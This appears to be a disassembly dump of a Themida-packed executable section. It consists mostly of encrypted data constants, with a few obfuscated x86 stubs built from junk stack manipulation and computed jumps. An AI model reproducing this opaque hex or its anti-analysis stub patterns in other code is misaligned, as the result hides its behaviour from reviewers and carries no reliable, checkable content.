0D5BC740Ch dd 732F1838h, 0C2229E4Ch, 0D5DAF67Eh, 0B6CEF5B1h, 0BDC76A83h dd 9920BE57h, 5870EEE7h, 97F7F234h, 0F14024B6h, 5B000001h dd 0E69E21B9h, 0BAF27DEBh, 48408B1Dh, 1D9726B0h, 0F6E776E0h dd 0E27C915Fh, 34AE215Bh, 45D5F3A5h, 940282FAh, 0C8808045h dd 2D57E99Eh, 63DCB430h, 1B65F462h, 43DB0DC5h, 0AFF533A2h dd 0A24385E3h, 71E44B33h, 68669EC6h, 36716015h, 0F447EA69h dd 0C59E9CB6h, 0A243DB0Dh, 0F96F3B33h, 0D733A243h, 4269DE60h dd 0CF9132C1h, 364EF5F6h, 5EC3857Ah, 0C33A9535h, 0D0A58F58h dd 510658FBh, 0DD9FC51Dh, 17652D5Ch, 0DDCF19D1h, 5E012D5Ch dd 2F64F27h, 0AA26CF9Dh, 0B3B4h, 6363DE00h, 803D77F7h dd 3CA337D3h, 3FC766BEh, 0E3E333A2h, 10ACE477h, 0ADB12486h dd 4AB25DEh, 146FB47Ch, 0F917355Fh, 5E114DC5h, 1BDC0AC6h dd 4DF22D5Dh, 9823942Ah, 0E3B5031Fh, 188E1127h, 48C87F2Fh dd 75E71C0Ah, 0ED7B9AC2h, 0D6407DABh, 0EF815B94h, 0F5D3AF0Fh dd 3C8CD74Eh, 0DBB432FEh, 0B51A339Fh, 0ADBB5A02h, 454B2FE9h dd 0DCFC630Dh, 97F7ABBAh, 0DDD6D228h, 2F000000h, 0FAB23D95h dd 8E0649DFh, 5C54E771h, 0F1AB32A4h, 0DAFB42DCh, 0FE6865ABh dd 9A356Fh, 51C9C7B9h, 0E07E960Eh, 0DC94F459h, 2D57E88Ah dd 63A8A844h, 3365F462h, 0F6B40793h, 4E1A6363h, 33A24418h dd 4CC2EC15h, 5EE0D23Ch, 0D43242E9h, 0BF37AE38h, 0E51C9C5h dd 51239569h, 6820EF99h, 83C4EF35h, 0C78CF07h, 0D214DCA4h dd 0FC2D5771h, 2196284Bh, 43DFF78Dh, 920C80F8h, 0BCCE8058h dd 8DE1C9EDh, 0C25C70B4h, 1FEB297Bh, 0C7D1BAC9h, 0FC7EE8E1h dd 2948FF43h, 6BC35F77h, 2CA4F911h, 0A66220BAh, 0C7D1BB40h dd 0FB2D98Eh, 0AE38D5AFh, 0CE58760Ch, 0FF76B26Ch, 122B73FEh dd 0D0A03ED6h, 0BA90D692h, 893EC7D1h, 3FBF2BA7h, 0D6CE1180h dd 0BAD0A03Eh, 0C2688B1Dh, 3A6h, 443E4E00h, 75E96163h dd 0D30B873Fh, 33AB23D9h, 6ECC4679h, 0CF6FF914h, 2C8E18B5h dd 8E2CBA56h, 114DDFF4h, 72E87E9Bh, 5E5456CEh, 4C681h dd 0EE830000h, 24348704h db 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax push ebx mov ebx, 5C833618h mov edi, ebx pop ebx sub edi, 12903295h shl edi, 8 shl edi, 8 add edi, 2C74E0Bh sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax push ecx mov ecx, edi push ecx xor dword ptr [esp], 42E12AEh pop dword ptr [eax+8] xor dword ptr [eax+8], 42E12AEh pop ecx push dword ptr [esp] pop eax add esp, 4 push dword ptr [esp] pop edi add esp, 4 jmp loc_552532 ; --------------------------------------------------------------------------- db 0ABh, 22h, 5Eh dd 3E40FC8h, 706143EFh, 4A5C4EB8h, 0FFC50306h, 90E08FE0h dd 0C991F2Fh, 80D9EF07h, 1549EF5Dh, 9C993F29h, 0FAA5333Dh dd 0B59C6E0Fh, 0F932F144h, 4A513D52h, 0AC30E01Bh, 0BB568F04h dd 6C3BBD72h, 3CE0B034h, 20B4FD71h, 7944544Fh, 0AF348149h dd 86CCD009h, 11E87Dh, 929B0000h, 4D8DFFA3h, 0CF04124Bh dd 0D4011236h, 5B8F9BC7h, 0C381F88Bh, 5958h, 6060C033h dd 0B9D68B66h, 6FE07374h, 148B6161h, 0FBF28103h, 0F7DC79Ch dd 0F281CEBFh, 1B285F15h, 800Fh, 0C2810000h, 2CD35B03h dd 0DD82B966h, 3860F52h, 0F000000h, 48FCAB7h, 3870F03h dd 66000000h, 0E883F18Bh, 18F88104h, 0FFFFFA7h, 0FFFFB985h dd 0F68166FFh, 8D8DA58Fh, 64A5EB8h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 0CEC35242h, 0F4F7F9E7h, 57BEBC11h dd 89571DB6h, 452A018Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 806A31BFh, 0C07A279Fh dd 0C7C28B66h, 4503D585h, 677006h, 0C704B700h, 45095D85h dd 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 0F983054h, 0FFD38B34h, 4522EDB5h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 17FEB9C7h, 43F847F9h, 0BF6660B8h, 858BA22Ah dd 6451599h, 1195FF61h, 6A06452Ah, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 8310C353h dd 6E83C28h, 51000000h, 810B1948h, 4D858BDDh, 5A064519h dd 95FF006Ah, 6453121h, 4AEBC08Bh, 640DB737h, 1A8CC25Fh dd 407533DCh, 4EC84789h, 870A0B2Ch, 65344558h, 6237FDE5h dd 3650CD19h, 1C17ABADh, 0C31FD384h, 500F906h, 8F4E7DC4h dd 0F12583BBh, 0D08338AAh, 0CF7D779Fh, 0ED93CA09h, 0F5EB04BEh dd 0B66A1759h, 4EBB756h, 6A0A7895h, 538E9h, 2EE5D200h dd 0CE776BBEh, 6A1B8B5Eh, 15B827F2h, 0BF544297h, 113AB2Dh dd 9B6EFE93h, 39009C29h, 56A339C8h, 4544D863h, 0F0FCE3C5h dd 3B4417FFh, 32CDC01Dh, 6227956Ch, 2D329428h, 9511B591h dd 8554CA40h, 0DC02F12h, 9003DA80h, 6788A5F5h, 27E2D593h dd 0AF51F203h, 550D81E2h, 2B7F08FCh, 0CFC06D21h, 0C679810Dh dd 0A92327AFh, 0A12E28C4h, 6BA6BF2Dh, 8A5FCD78h, 0B2F26A19h dd 174BFAEBh, 0EDB14ABEh, 924BCF4Ch, 653C6221h, 0D790D673h dd 5C4D889Dh, 0CB3CEDADh, 0D118B63Ch, 0F88D7BDEh, 12DB277Bh dd 426CE2A1h, 11B5B190h, 3D5D60F0h, 0D87AC6A9h, 58F2h dd 0CDC0C000h, 6F626C32h, 1111B593h, 8A1C3E47h, 0D5D87AA8h dd 1, 0FECCC0E7h, 915B04BAh, 9EE711B5h, 0B591B1BEh, 47C41111h dd 0AD564A23h, 1EB120F9h, 0C748F15Ch, 0B11F57FEh, 0A7FF653Dh dd 0F14506F6h, 1B8F4A53h, 8E012862h, 0B883DABh, 0BE50A657h dd 5FCD786Bh, 3DD2C061h, 0AE1C9069h, 0B5916708h, 4AEDB11h dd 8A2EC8AEh, 0A6FC79C6h, 7F5195C5h, 11B68F70h, 8FDA853Bh dd 1D6611B6h, 3BA92DB6h, 54F9E722h, 0AC122F1Ah, 4423B0BCh dd 168950CEh, 6E5E376Bh, 0BD3089DDh, 14855C02h, 0EBCD3175h dd 11B5F704h, 0C41C37BCh, 0F195EC1h, 832A4F6h, 596DD87Bh dd 5F000000h, 693DD2C0h, 3B6F2090h, 7FBAC311h, 9960FC91h dd 69C0662Bh, 0AA93D77Ah, 7646B960h, 0B5918F50h, 25A23311h dd 0E87AF001h, 0F0DE8FD5h, 6912865Bh, 0A223B3E5h, 347CD87Ah dd 4E000000h, 693DD2C0h, 0C5381F90h, 48D5643Ah, 162F3912h dd 1658EDDBh, 0F5A95447h, 6250CE44h, 6F33CCC0h, 0B5937161h dd 3E471111h, 7AA88A1Ch, 1D5D8h, 0C0E70000h, 76B3FD0h dd 9202EDC3h, 0D1C011B5h, 0A516973Eh, 34B140E6h, 0C97467BEh dd 8B92D295h, 0E7A014C5h, 0B94ABA93h, 4DBA28F1h, 782EAB5Eh dd 9BDB75F9h, 1304E3D2h, 1C58C51Fh, 53019512h, 4F83CB7Ah dd 0B5F98669h, 25A93A11h, 0A534779h, 90E50FF1h, 0ECA10FDEh dd 5B3387B6h, 0E8740F82h, 57F2E5B4h, 0EC970AC3h, 0A7486EA2h dd 1B17FB2Ah, 0C5B669CAh, 55D85F9Ch, 0AC789C1h, 5617FABBh dd 8174AFB6h, 0C89E2D9Eh, 3BE2AC29h, 0D36C60CDh, 40E11056h dd 0D1762D9Ah, 29A72B85h, 0C52EDE0h, 0E38742B5h, 0A7EDF000h dd 0AD1D06F6h, 0C21B9F1Ch, 0CE796CCFh, 521C9998h, 376B1A8Bh dd 541EB006h, 0DEC0A352h, 1430Dh, 625BBF00h, 0D5259BD3h dd 880FF0B4h, 0E48DE69Dh, 0B0FA8DFAh, 0FB83511Eh, 0EE64F117h dd 3E723C49h, 0FB83D798h, 412E8017h, 8117FB83h, 0E84D174h dd 710CFF56h, 10AB1EEBh, 44A6F35Eh, 0D3FDA158h, 0FF7E24E1h dd 0CDA4FC72h, 0A87B2FDAh, 574A8598h, 0D17C30ACh, 0CD8817h dd 3264EA1Bh, 0DEC009B4h, 717346E3h, 87682D29h, 504333h dd 55710000h, 91B0BF11h, 0C31011B5h, 3D840D4Fh, 0E30C397Dh dd 0AB73152Eh, 0D15E44Dh, 253D4F3Bh, 0C5308FD1h, 439011B5h dd 960AD31Fh, 984769EDh, 1811B5C5h, 0F8D18598h, 18970941h dd 0A811B5C6h, 0F9DF135Bh, 11B5C6F6h, 1BB5394Ah, 8731h dd 625B1300h, 0A9259BD3h, 170FF09Ah, 9A18CCEh, 0A01ADF17h dd 0DE227AF0h, 7C49D0Fh, 8A03C900h, 3B3A60EDh, 0D06B5EB7h dd 7F0AFD4Ch, 8EAFA52Bh, 57F117FBh, 6457064Eh, 9FC55D9h dd 5115B626h, 0E5B923A0h, 0E207C034h, 98DA50F3h, 0ECC28C3Dh dd 1645EFFEh, 9E772BB8h, 9DCA902Bh, 8332A885h, 3EF8D69Eh dd 43132AB8h, 0CF90364Ah, 731E45FFh, 4D565E2h, 0DAB3F790h dd 0E8095DE6h, 5BBE76Bh, 1C906055h, 0D40A92E3h, 9BD3625Bh dd 0FFF23525h, 2C72830Fh, 45A76255h, 158B01F4h, 17FFF04Ah dd 0C1520FF4h, 5AF91C07h, 0EAD68C09h, 6F33D2C3h, 3F632896h dd 133DB13Eh, 0AC40221Eh, 8540459Bh, 2BB2F12h, 9908DD5Ch dd 26F369F6h, 7FF02CB3h, 6A1D76A0h, 0F253FF61h, 1491C27Fh dd 1D08F74Eh, 0AB4A10A9h, 0F6286C2Eh, 844048E9h, 0CE860C59h dd 8B465F99h, 0BFFF6D18h, 6DBF7792h, 0DF532659h, 0B2E89306h dd 902D9F4Eh, 0F3C1Ah, 55060000h, 0BB2E1184h, 5EDB5A00h dd 365E908h, 3CD3C0EDh, 611C8F66h, 0D473643Dh, 38C5378Eh dd 681D8B62h, 0D86D5B32h, 9BC2B82h, 7B0CFC55h, 0A15A4E27h dd 0EC8376FDh, 24348904h, 0C681E689h, 4, 8704EE83h, 505C2434h dd 405E089h, 2D000000h, 4, 5C240487h db 89h, 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push 40A5h mov [esp], ecx mov ecx, 0D1D02F0h sub ecx, 1C2D0F46h xor ecx, 0F6A5ACB8h mov esi, ecx pop ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax push ecx push esi pop ecx mov [eax+8], ecx pop ecx push dword ptr [esp] pop eax add esp, 4 push dword ptr [esp] pop esi add esp, 4 jmp loc_545D4D ; --------------------------------------------------------------------------- dd 0C9CD08D6h, 8BA21102h, 5F45C5C1h, 63B7B8FDh, 0C503064Ah dd 2E85E0FFh, 0B31B4B9Eh, 0AD073036h, 3BD5319Bh, 39A13856h dd 87FB6B52h, 400A01E1h, 1758C8h, 3B256AB0h, 8D8D4AE1h dd 64A652Bh, 561584BEh, 18D896Fh, 6A06452Ah, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 6A97C350h, 83C60736h, 296A77C6h, 4524FD9Dh, 0D585C706h dd 68064503h, 0F8000068h, 95D85C7h, 645h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0CB5078C3h, 1EA9B5FFh, 6A0645h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0E9CBABC3h, 0Ch, 7800D638h dd 47E6EEB0h, 0D9E0171Fh, 2A1195FFh, 81660645h, 6A7D6FCBh dd 2195FF00h, 8B064531h, 0D76EEBC0h, 6EFB8506h, 0C1B5BB09h dd 0F299FF4Fh, 0F0D2D984h, 6EB4E723h, 0A50BDDECh, 0D2FD4EFBh dd 290B61ECh, 4C4EA8C3h, 0C1D1B63Fh, 1AC9B553h, 4FAA0E77h dd 0E78DC94Eh, 0D024888Eh, 2C792D36h, 9C6B8B1Ch, 4477D0CBh dd 76A614B5h, 9DB26053h, 0ECD77548h, 7D8E0234h, 442CC140h dd 7F229248h, 0C7A27525h, 5ACD2B49h, 570D500Ah, 1ACF3866h dd 999D8DFDh, 0B806452Eh, 39h, 24E98589h, 0E80645h, 58000000h dd 0D05h, 0E9038900h, 39h dword_594534 dd 0Eh dup(77E60000h), 103E9FFh, 0F600000h, 0DBFD3BFh ; DATA XREF: Themida_:00540E0Co dd 61025447h, 6663B58Dh, 860F064Ah, 17h, 0DE960h, 0B6DB0000h dd 736BC0E5h, 1ECA4233h, 0F746C49h, 8D61DAB7h, 48500085h dd 0D0FFF506h, 8C0FC3F5h, 1Ah, 148E0Fh, 0FE90000h, 53000000h dd 675D33C4h, 0B8BC3651h, 3EB02807h, 60604002h, 870Fh dd 5B500000h, 8C666161h, 8B6660D9h, 2DE181F7h, 614E8704h dd 0F04C1F6h, 5184h, 14E900h, 0C8CE0000h, 98A9FF9Fh, 623A265Eh dd 5F17B47Eh, 5DC8CC9Fh, 0FB8BF4BEh, 0C032CB8Bh, 2BFD75AEh dd 2BD9F7CFh, 49D78BF9h, 0EBD98Bh, 13F20CDh, 0C00B0001h dd 708D1874h, 8BFA8B0Ch, 0A75A6CBh, 0B8FA7549h, 1, 8B09EBh dd 0B8E4EBh, 0CF000000h, 55006AFCh, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 8ABC08EFh, 60E74DD1h dd 60F0B70Fh, 0C9E4CB81h, 61F92668h, 0AB85C761h, 3F064A66h dd 8D000101h, 4A67B08Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 32CEE992h, 8D89C28Bh dd 6452A01h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 0A6C35343h, 7B07D1A4h, 3D585C7h, 58300645h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 81F592C3h, 535419DFh, 5D85C76Ah, 64509h, 0F9000000h dd 3005B5FFh, 0BD890645h, 64528F1h, 2A1195FFh, 858B0645h dd 6451CD9h, 95FF006Ah, 6453121h, 1FEBC08Bh, 9CE8E95h dd 3D35C1DBh, 78E8D59Ch, 120F4648h, 30E94C40h, 0FA667947h dd 3B9DF7E8h, 0E843E2C8h, 0Eh, 500C4A66h, 62DFA61Fh, 99169F1h dd 0B509DA14h, 64511E9h, 13DB805Fh, 60CFC781h, 9D8B0000h dd 64520A5h, 588D57BEh, 0B0C6810Ah, 8BF5A78Ah, 6D9D8B0Fh dd 81064519h, 947358E9h, 4BBB665Bh, 0DAC181BDh, 0FC339D9Bh dd 0E166F181h, 8529600Bh, 6451821h, 8D958951h, 8F06451Dh dd 0EE907h, 0C4850000h, 5A880FDh, 0D4DEF8FCh, 0D3E7183Ah dd 8B02EF83h, 45183995h, 0E94F4F06h, 12h, 270D2085h, 6C59C8B8h dd 0E7031C64h, 223DDD4h, 0EE830EF3h, 0F850F01h, 0B2000000h dd 15E949h, 0E7680000h, 0C4C3A563h, 0DC8009A3h, 0FF7DE933h dd 20FFFFFFh, 0EB114E87h, 60h, 17h dup(0) dd 0A6EE900h, 62E90000h, 6800000Ah, 64A7040h, 0FB14D4E9h dd 716868FFh, 0CAE9064Ah, 68FFFB14h, 64A71D3h, 0FB14C0E9h dd 26EDDAFFh, 0C67F73C6h, 62239366h, 0DC02FFAh, 0B75C4A9Fh dd 90B9335h, 0A376F69Bh, 0C1089431h, 5EAB31D0h, 4D4CD06Bh dd 0FB04EBCDh, 33BC17FFh, 31CEC015h, 9E10D96Dh, 3BAE7BE1h dd 9203DA80h, 0E4D6AFF3h, 6E3F0327h, 0A717CC7Fh, 4BB990E6h dd 9B09E086h, 9D4CB0F6h, 0C46FBE2Fh, 0CE8C243Dh, 961C1D41h dd 0E9BD50BFh, 0AFEFA010h, 0B6290AFEh, 59D88E0Bh, 94B1FDD5h dd 89AC4A2Ch, 0BE971B3Ah, 81EDB14Ah, 0DF846B4Dh, 0B73C11B5h dd 28547123h, 0AFF38E01h, 0DFC1AE8Eh, 0F40111B5h, 6C812777h dd 0D0100048h, 78DD66A7h, 9E1B44F1h, 0EC9D0DDCh, 4F3387B6h dd 0B912A9Eh, 84D66FA5h, 353922h, 2E748118h, 13816457h dd 0B6BF17Eh, 8BDF7462h, 0C0C6E46Ah, 0CD7832CDh, 0F0B291DCh dd 380A80BCh, 71168455h, 5B27A5FDh, 87FAD66Fh, 12845559h dd 67583175h, 0F67382D8h, 0ACA03660h, 3AFBDB7Ah, 0C9000000h dd 7420F855h, 0E60E0ED0h, 7E62290h, 5D6BE895h, 916C7355h dd 8FD411B5h, 0C06F55B1h, 0BB0533CCh, 0BF115585h, 11B591B0h dd 0C7A80E10h, 7B11B591h, 0CFE96DEAh, 56h, 1B6F5B31h, 0B591BAA5h dd 70FD0611h, 0EF4FFA3Eh, 427AA13Bh, 47975874h, 0DA2B11B6h dd 73551654h, 11B5916Ch, 3BD03ECFh, 0E56DD667h, 79ECEB4Bh dd 554F79C6h, 7FF8556Fh, 0A2D6B117h, 0F7EB22A8h, 1155724Eh dd 0B591B0BFh, 8BC31011h, 0B5914A15h, 0E96DF611h, 625BB54Bh dd 75259BD3h, 0C30FF09Dh, 0F1E2ECB2h, 0A717FA97h, 0F0F6A4B9h dd 0A7DEBFACh, 99B9338Ah, 0FE741E9Ah, 16ABEh, 6D5B0C00h dd 97469AD4h, 3F3E6429h, 91D295BBh, 0E56E11B5h, 3AAC7D41h dd 8358D98Dh, 0E2F7312h, 0A35E5188h, 0CDC01B39h, 3410632h dd 0FAD66F5Bh, 15D2F855h, 14E7BC1Eh, 5FD2009Eh, 0DB7AAC37h dd 3360h, 6F5B5200h, 0F855FAD6h, 0DDEB3925h, 1F43D769h dd 0E59E12DBh, 143AB041h, 11B62D4Bh, 55526EF7h, 0A9564811h dd 0FCCE44F5h, 533CCC0h, 353F85BBh, 1000000h, 1F8E6F5Bh dd 55D1EF6Ch, 0B6594811h, 91511E20h, 7BEA11B5h, 556F554Dh dd 91B0BF11h, 0C31011B5h, 9D11AA1Eh, 0EF5044h, 55F0C04Dh dd 30761184h, 692F8D01h, 0A2FBF855h, 248E4A35h, 9F26ECAEh dd 85FAF9DFh, 115511B6h, 0B686B0BFh, 4FC31011h, 6EC79BE8h dd 0DF8EC07Bh, 0ED0C52EBh, 0C0C9F769h, 550632CDh, 0FC721584h dd 6F5B26A4h, 5987FAD6h, 7AAC375Fh, 3760DBh, 7D2C0000h dd 88A9FD8Ch, 91FFE0C6h, 32430EB5h, 84558EBCh, 0BEFC7215h dd 559DAB12h, 0B5916C73h, 0B18FD411h, 84556F55h, 0D2C7215h dd 0A35C5089h, 3F85BB95h, 3Dh, 0D66F5B01h, 6C7355FAh, 0CF11B591h dd 33E25D42h, 8A2CED13h, 11B5E4E5h, 0E8B085Dh, 556F5532h dd 2F731484h, 2E4A50Eh, 0F90E5FAh, 0FD5E528Bh, 16277B0Eh dd 8455BF89h, 5FFD7116h, 0FA3FB9h, 5B010000h, 0D39AD46Dh dd 0E3AF23E2h, 0A5C082AFh, 7DA89714h, 0A910D7F9h, 23B011B5h dd 8833A67Fh, 0CDC02E14h, 9116D9FFh, 6F4111B5h, 11B59180h dd 0E710B3C0h, 31226C2Ch, 0B90683E3h, 15BA28F1h, 341A381h dd 53108455h, 4A0D375Bh, 327A450h, 923E7CF2h, 59871D2Bh dd 0B0BF1155h, 1011B591h, 8D094FC3h, 0D6DB7AACh, 58h, 0D66F5BE4h dd 23E6D584h, 4A78FE7Fh, 75128455h, 0C68A0031h, 0B591FFE0h dd 6324311h, 0B0BF1155h, 1011B591h, 0CF034FC3h, 0C2A80E62h dd 85797F4Fh, 0C9FB7FFCh, 7B33CCC0h, 0E2A542B2h, 9ECF858h dd 3D0F8300h, 453F85BBh, 7F000000h, 248D3EAEh, 548C0F4Ch dd 182AA0FAh, 84D66F5Bh, 91816E40h, 90C111B5h, 1E19E6E7h dd 0FF73F077h, 6C7355CDh, 0CF11B591h, 0AC79D466h, 0E70C627Ah dd 555C6EE4h, 33CCC06Fh, 4EFBBB05h, 9B40E98Ch, 0EFDD514Fh dd 6C32CDC0h, 7652495h, 0A24D63A7h, 1E11B591h, 158841D5h dd 0B7AA346Ah, 111B593h, 0D1A8FE93h, 0FF7E24DDh, 5317BC2Ah dd 91A6496Fh, 0C91A11B5h, 0EC6F7696h, 0DE869FD9h, 69EDA00Fh dd 1A823DB0h, 661F935Ah, 3BC63910h, 0DB2E1B67h, 8F5AF1A3h dd 665D3EB4h, 0FF3A43C1h, 85EB710Ch, 4CF9B100h, 0B3FF5D09h dd 290D7D95h, 4C00BEE7h, 6833CB0h, 40EACCB0h, 0F60FF0DBh dd 0BC97396Dh, 9217FAD5h, 0BB2B6F76h, 0E4DEBFEAh, 29h dd 32CDC0D6h, 8041B178h, 0C36E520Ah, 0CE0D3B5Bh, 4C9218A9h dd 11B670A3h, 0CDBEEB8Fh, 3D1E8341h, 0B9CC5ED4h, 6CF08B7Eh dd 14845576h, 0D2E51C57h, 24A1F5CFh, 0A27BFF7Eh, 0ECCE942Fh dd 0F0D69829h, 100042C9h, 2E84186Dh, 0BA1C5EEFh, 163B4EF0h dd 67693D46h, 1E45486Ch, 7B1F2622h, 0E50A5D6Bh, 2134h dd 6D5B8600h, 0E2D39AD4h, 0CDE3AF23h, 11B59132h, 6435458Eh dd 0D29BD374h, 35AB2FE4h, 1C1Bh, 6D5B6500h, 60469AD4h dd 11B5917Fh, 703CB2C3h, 0B591955Eh, 9ED02511h, 0BE2EDFCFh dd 13E3F80h, 5B010000h, 55E6D263h, 91B0BF11h, 9B1011B5h dd 35C49A2Bh, 66A22A8h, 54DA6357h, 0DD115516h, 0B591F4FBh dd 15074C11h, 11B5914Ah, 30E96DF6h, 873602BDh, 0AC375F59h dd 2160DB7Ah, 52000000h, 73148455h, 0A819BDFFh, 6C735598h dd 0D411B591h, 6F55B18Fh, 13FD0C0h, 353F85BBh, 1000000h dd 73148455h, 0A819BDFFh, 0C4544BE6h, 0F6C7C63Ah, 75F94605h dd 6C735577h, 0CF11B591h, 0EB79D466h, 7ACD212Dh, 5591D327h dd 3FD0C06Fh, 32FBBB01h, 0B3B105BEh, 632CDC0h, 6F5B0341h dd 5987FAD6h, 7AAC375Fh, 4860DBh, 5B520000h, 0D584D66Fh dd 92D026E3h, 252DF855h, 77F17DE3h, 277BBFE3h, 0B5E8DE81h dd 9D116211h, 0B5E8ACB3h, 0F1CF1411h, 0B0BF1155h, 1011B591h dd 0B1034FC3h, 7B33CCC0h, 0E8D843B2h, 75F20327h, 85BBC3E1h dd 273Fh, 6F5B0100h, 8455FAD6h, 2337710h, 488CC08Ch, 0B5918956h dd 26AC3911h, 0B5915718h, 4771F011h, 0CCC06F55h, 85BB0533h dd 75128455h, 538A0031h, 0BEEBA362h, 0BAA82DE4h, 0D7DE1680h dd 515E7F12h, 58065ED4h, 11B61D8Ah, 4F8A9301h, 73DAF5Eh dd 6A30CFC0h, 3F632293h, 0EC9DC6Ch, 81ACEE9Dh, 0A930F0DAh dd 51CF436Dh, 0B5B3F27Fh, 7F2A6411h, 6A28CAE6h, 1AA91AE5h db 9Dh, 19h word_594F42 dw 4A5Fh ; DATA XREF: ___:off_438130o dd 11D87ABFh, 0FFFFFE8Fh, 931C37A3h, 0BE1511B5h, 0F311B591h dd 11B591EDh, 0B59305DEh, 93273C11h, 491A11B5h, 1451B593h dd 684E00B1h, 0CFFD6B7Ah, 323D93D7h, 8ED7FD89h, 461CAD1Dh dd 13A42AB7h, 7A9D88C2h, 0EA9D0C40h, 0F91C85B4h, 0BFA00657h dd 3D7FD5Fh, 0A9E175F2h, 8BC3724Bh, 3886A515h, 0E0C213D6h dd 312EDE69h, 8DB02662h, 80000002h, 19E07C13h, 0B9801CA5h dd 0D524B849h, 70B923E6h, 0FD5FCD82h, 0CC12FE5h, 0AA574990h dd 57F6E732h, 0F69104D5h, 35EB1376h, 1800012Ah, 554F4996h dd 91B0BF11h, 0C31011B5h, 9823964Fh, 64D5F0C2h, 0FAC9F42Ah dd 0C4750FFFh, 2F086C48h, 0E478C59Fh, 0FFA8F1E2h, 0D869AC17h dd 1C8B5296h, 96DBE569h, 1E164A0Eh, 0E44185D5h, 43B3C49Dh dd 845DD1BFh, 23F67611h, 0F9E6D8B0h, 491E4A43h, 54F9E73Ch dd 3C62EF0Eh, 4A43C992h, 8031941Eh, 0EFE38ACEh, 6DE11056h dd 94AC8243h, 0E1A93A1Ch, 0A23AC538h, 91D96457h, 0AC747B5Dh dd 87CC2494h, 46175B33h, 7022A853h, 74AAE455h, 22DF1545h dd 0F23E64F1h, 540ABB2Bh, 0AA6351A5h, 7D531Bh, 0BC29297Eh dd 42CF7E6Fh, 0F76E6108h, 38A3236Dh, 22E1D29Fh, 0F370FD7Ch dd 922DA069h, 0EEA311D8h, 5D35B9B8h, 29116073h, 7C6A3331h dd 0E06D208Fh, 4537BBBAh, 7B9F140h, 2F739C36h, 0C5297D86h dd 6DE1A614h, 1F5FEE2Fh, 0AE9AC5B9h, 0C8EA7B35h, 90A50497h dd 65A23474h, 0A8000001h, 0C108943Bh, 61A834CDh, 0FD4CD071h dd 18E17B0Eh, 0C587E5AAh, 24E9D7BDh, 0C27F71B8h, 6F1E8F5Ah dd 0EB92CFDh, 1DB3FB9Eh, 18000252h, 5BA761EEh, 259BD362h dd 0FFFFA18h, 0CA950B4Fh, 7617FFFAh, 85CE69EDh, 8B3A93E1h dd 0EEDE8FC3h, 4FE8095Dh, 0CC1A1D34h, 80AE24CBh, 163B580Eh dd 0E60323B0h, 357131ACh, 0FAE3F5h, 0A6130000h, 38AC7DEFh dd 0DCCC1D8Fh, 7968B12Bh, 158356D6h, 526AEC70h, 2DBF5442h dd 0CF5DEADCh, 62FA897Ah, 3992497h, 0BDA20486h, 5180002h dd 625BDCF4h, 20259BD3h, 9C0FFFFAh, 47BA1357h, 0E6D920BCh dd 9035075Bh, 91D56921h, 0FFFA303Fh, 0CF439017h, 4A6380E1h dd 6F73416h, 262FA47h, 85D96C5Bh, 8C09BE2Ch, 2EA46957h dd 307A03F7h, 798BC715h, 92A3C78Ah, 0D1193F31h, 8676C35Dh dd 0C30767C5h, 4A0102EDh, 3FD0C01Eh, 432C8294h, 0FF1E4A01h dd 0AC65E976h, 0C7128A3Dh, 61A834D9h, 0FB4EDE73h, 19E07C09h dd 885119A8h, 4356916h, 185C108Eh, 4A01B9A6h, 76FC091Eh dd 0B912C9Fh, 0AD3FCC3Eh, 2777C6C7h, 946A6081h, 0DB8FD41Ch dd 28D3C697h, 964FC372h, 0A0049823h, 7A0FA485h, 0A337D2DDh dd 1395h, 58A48100h, 12278E5h, 1B9135EEh, 54D1A403h, 716FECDEh dd 663CD3C0h, 3D611C8Fh, 8ED47364h, 6238C537h, 32681D8Bh dd 82D86D5Bh, 5509BC2Bh, 277B0CFCh, 0FDA15A4Eh, 0E6895676h dd 4C681h, 0EE810000h, 4, 5C243487h, 68240489h, 3ED7h dd 68241489h, 669Eh, 81243489h, 4ECh, 24048900h, 980F03B8h dd 6619BA5Ah, 0C2315CD2h, 6766858h, 24890000h, 24048124h dd 4, 468F525Eh, 2434FF08h, 4C4835Eh, 5A2434FFh, 4C481h dd 82E90000h, 30FFFB0Ah, 524D4A01h, 72F2B8EEh, 0C503064Ah dd 0AE8C38Bh, 0DF000000h, 54CDD5CBh, 7899A551h, 8C0F63h dd 58000000h, 91C081F9h, 6600006Bh, 94B0D381h, 68h, 7E900h dd 6B470000h, 0F93CCB8h, 0CB8159F9h, 3613335Bh, 0F90134FFh dd 7DF2815Ah, 0F94CF0FCh, 0EA7AC281h, 0F38133CDh, 1B303928h dd 96EF281h, 9ABF1A6Fh, 526D548Ch, 11E9h, 0C402DA00h, 66242600h dd 0EE9716FFh, 7D5FC523h, 48F59A7h, 0F18B6608h, 83F7B70Fh dd 5F5703E9h, 7E949h, 0DD7A0000h, 0EBECFC79h, 28F9813Dh dd 0FFFFF95h, 1985h, 22E900h, 772A0000h, 0F713229Eh, 0D62C0B5Eh dd 8C555B6Ch, 3124C717h, 0BF6633C1h, 7DE9D1A5h, 0CBFFFFFFh dd 2D4754h, 6A0904EBh, 77E9115Eh, 0F4000005h, 0DDC4007h dd 0AD7CE099h, 